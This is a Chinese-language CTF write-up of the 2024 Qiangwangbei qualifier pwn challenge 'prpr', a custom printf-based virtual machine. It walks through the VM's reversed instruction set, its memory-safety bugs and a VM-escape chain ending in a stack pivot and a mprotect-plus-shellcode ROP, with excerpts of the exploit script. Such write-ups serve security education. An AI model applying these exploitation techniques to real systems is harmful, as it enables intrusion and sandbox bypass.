[强网杯2024]初赛pwn2 prpr详细图解
字数 1649 2025-08-23 18:31:34
VM PWN入门:强网杯2024初赛prpr题解
1. 题目概述
这是一道基于printf虚拟机的PWN题目,主要考察逆向分析和虚拟机逃逸技术。题目特点:
- 使用
register_printf_function注册自定义格式化字符串处理器 - 实现了一个完整的虚拟机执行环境
- 开启了沙箱保护(仅允许orw和mprotect)
- 需要通过虚拟机漏洞实现逃逸,最终获取shell
2. 虚拟机架构分析
2.1 主程序结构
主程序通过printf_chk("%Q%W%B")启动虚拟机:
%Q:调用welcome函数(显示"PrPr")%W:初始化沙箱%B:启动虚拟机(初始eip=71)
2.2 虚拟机代码结构
虚拟机代码存储在全局数据段中,结构如下:
struct vm_code {
char format[8]; // 格式化字符串
int arg; // 参数
};
通过逆向可以提取出完整的虚拟机指令集。
2.3 虚拟机内存管理
虚拟机使用一个大型内存块管理:
- 包含stack和vm_data两个段
- vm_data是一个共用体,存储char和int混合数据
- 采用函数调用栈方式管理,每级函数有自己的data段
内存布局示例:
menu -> fun2 -> fun_60
3. 虚拟机指令集分析
逆向出的主要虚拟机函数:
3.1 菜单函数 (eip=71)
71: menu:
user_input
pop_r 0
push_a_num 1
push_r 0
is_equal
if_false_jump 79
call 1
jmp 71
79:
push_a_num 2
push_r 0
is_equal
if_false_jump 85
call 32
jmp 71
85:
push_a_num 3
push_r 0
is_equal
if_false_jump 91
call 110
jmp 71
91:
push_a_num 4
push_r 0
is_equal
if_false_jump 97
call 141
jmp 71
97:
push_a_num 5
push_r 0
is_equal
if_false_jump 103
call 178
jmp 71
103:
push_a_num 6
push_r 0
is_equal
if_false_jump 109
call 209
jmp 71
109: exit
3.2 功能函数
-
fun1 (and加密字符串)
- 用户指定and值和字符串
- 漏洞:未校验字符串长度
-
fun2 (and加密数字)
- 用户指定and值和数字序列
- 调用fun60处理数据
-
fun60 (辅助函数)
- 被其他函数调用
- 使用寄存器r5传参
- 漏洞:寄存器残留问题
-
fun3 (xor加密字符串)
- 用户指定xor值和字符串
- 漏洞:未校验字符串长度
-
fun4 (xor加密数字)
- 用户指定xor值和数字序列
- 调用fun60处理数据
-
fun5 (or加密字符串)
- 用户指定or值和字符串
- 漏洞:未校验字符串长度
-
fun6 (or加密数字)
- 用户指定or值和数字序列
- 调用fun60处理数据
4. 漏洞分析
题目中存在多个关键漏洞:
4.1 字符串加密函数越界加密
- 位置:fun1/fun3/fun5
- 原因:未校验字符串长度,仅依赖00终止符
- 影响:可越界修改内存
4.2 输入字符串不补充00截断
- 位置:read_s函数
- 原因:只有输入回车会被替换为00
- 利用:使用send方法避免00截断
4.3 run_vm未校验负eip
- 位置:run_vm函数
- 影响:可指向vm_data段执行shellcode
4.4 data段存取未校验参数正负
- 位置:栈传参分支
- 影响:可实现任意地址读写
4.5 fun60寄存器残留
- 位置:fun60
- 原因:r5作为循环变量未清零
- 影响:可越界写ret_addr
5. 攻击链构造
5.1 阶段一:控制RIP
- 使用fun6填充一级data段
- 使用fun3越界异或ret_addr
- 利用fun2在二级data段铺设vm_shellcode
5.2 阶段二:任意代码执行
- 利用fun60寄存器残留修改ret_addr
- 跳转到预置的vm_shellcode
- 通过负偏移实现任意读写
5.3 阶段三:虚拟机逃逸
- 泄露堆和栈地址
- 修改register指针指向主程序栈
- 通过pop操作修改返回地址和rbp
- 栈迁移到ROP链
5.4 阶段四:ROP利用
- 调用mprotect设置内存可执行
- 写入shellcode读取flag
- 绕过沙箱限制
6. EXP关键代码解析
# 填充一级data段
sla("| ,", "6") # 进入fun6
sl("0") # or值为0
sl("63") # 读入63个数字
for i in range(64):
sl(str(0xf1f1f1f1)) # 填充特定值
# 在二级data填入vm_shellcode
sl('2') # 进入fun2
sl("0") # add值
sl("63") # 使r5残留为64
# 泄露地址
for i in range(5):
sl(str_to_int32("%p%p"))
...
# 填入vm_shellcode
sl(str_to_int32("%a")) # 负偏移
sl(str_to_int32("%a"))
sl("0")
sl(str_to_int32("%#V")) # get_num_form_data
...
# 触发越界写
sl('3')
sl("104") # 异或值
sd("b"*4) # 不输入回车
# 跳转到shellcode
sl("-2150") # 负eip
# 后续ROP链构造...
7. 总结与技巧
-
逆向技巧:
- 使用结构体标记vm_code数据
- 全局替换格式化字符串为函数名
- 重点分析内存管理机制
-
漏洞利用技巧:
- 组合多个小漏洞形成完整攻击链
- 利用寄存器残留控制执行流
- 通过负偏移实现任意读写
-
防御绕过:
- 利用栈迁移绕过沙箱
- 使用mprotect+shellcode组合
这道题展示了VM PWN的典型解题思路:逆向虚拟机架构→发现漏洞→构造虚拟机逃逸→最终实现主程序控制。关键在于理解虚拟机的内存管理和执行机制,以及如何将有限的漏洞组合成强大的攻击链。